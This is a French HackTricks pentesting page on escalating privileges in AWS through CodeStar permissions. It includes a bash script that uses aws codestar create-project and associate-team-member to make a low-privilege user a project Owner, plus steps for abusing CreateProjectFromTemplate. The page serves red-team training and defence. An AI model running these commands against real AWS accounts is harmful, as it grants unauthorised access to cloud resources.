AWS - Codestar Privesc

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Codestar

Vous pouvez trouver plus d'informations sur codestar dans :

codestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

Avec ces permissions, vous pouvez abuser d'un rôle IAM codestar pour effectuer des actions arbitraires via un modèle cloudformation. Consultez la page suivante :

iam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

Cette technique utilise codestar:CreateProject pour créer un projet codestar, et codestar:AssociateTeamMember pour faire d'un utilisateur IAM le propriétaire d'un nouveau projet CodeStar, ce qui leur accordera une nouvelle politique avec quelques permissions supplémentaires.

bash
PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

Si vous êtes déjà un membre du projet, vous pouvez utiliser la permission codestar:UpdateTeamMember pour mettre à jour votre rôle en tant que propriétaire au lieu de codestar:AssociateTeamMember.

Impact potentiel : Privesc à la politique codestar générée. Vous pouvez trouver un exemple de cette politique dans :

codestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. Créer un nouveau projet :
  • Utilisez l'action codestar:CreateProjectFromTemplate pour initier la création d'un nouveau projet.
  • Après une création réussie, l'accès est automatiquement accordé pour cloudformation:UpdateStack.
  • Cet accès cible spécifiquement une pile associée au rôle IAM CodeStarWorker-<nom de projet générique>-CloudFormation.
  1. Mettre à jour la pile cible :
  • Avec les permissions CloudFormation accordées, procédez à la mise à jour de la pile spécifiée.
  • Le nom de la pile conformera généralement à l'un des deux modèles :
  • awscodestar-<nom de projet générique>-infrastructure
  • awscodestar-<nom de projet générique>-lambda
  • Le nom exact dépend du modèle choisi (se référant au script d'exploitation exemple).
  1. Accès et permissions :
  • Après la mise à jour, vous obtenez les capacités assignées au rôle IAM CloudFormation lié à la pile.
  • Remarque : Cela ne fournit pas intrinsèquement des privilèges d'administrateur complets. Des ressources mal configurées supplémentaires dans l'environnement pourraient être nécessaires pour élever davantage les privilèges.

Pour plus d'informations, consultez la recherche originale : https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/.
Vous pouvez trouver l'exploitation dans https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

Impact potentiel : Privesc au rôle IAM cloudformation.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks